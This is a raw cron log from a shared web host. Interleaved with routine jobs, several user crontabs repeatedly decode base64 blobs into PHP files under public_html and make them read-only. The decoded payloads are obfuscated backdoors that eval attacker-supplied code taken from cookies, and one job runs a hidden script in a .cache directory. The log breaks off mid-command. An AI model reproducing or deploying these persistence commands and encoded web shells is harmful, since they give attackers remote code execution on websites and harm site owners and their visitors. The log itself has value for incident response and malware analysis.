Mar  1 23:27:01 medusa CROND[16920]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:27:01 medusa CROND[16924]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:27:01 medusa CROND[16923]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:27:01 medusa CROND[16927]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:27:01 medusa CROND[16929]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:27:01 medusa CROND[16931]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:27:01 medusa CROND[16934]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:28:02 medusa CROND[23624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:28:02 medusa CROND[23790]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:28:02 medusa CROND[23791]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:28:02 medusa CROND[23792]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:28:02 medusa CROND[23793]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:28:02 medusa CROND[23795]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:28:02 medusa CROND[23796]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:28:02 medusa CROND[23797]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:28:02 medusa CROND[23804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:28:02 medusa CROND[23806]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:28:02 medusa CROND[23808]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:28:02 medusa CROND[23810]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:28:02 medusa CROND[23812]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:28:02 medusa CROND[23813]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:29:01 medusa CROND[29822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:29:01 medusa CROND[29823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 23:29:01 medusa CROND[29825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:29:01 medusa CROND[29828]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:29:01 medusa CROND[29827]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:29:01 medusa CROND[29829]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:29:01 medusa CROND[29834]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:29:01 medusa CROND[29835]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 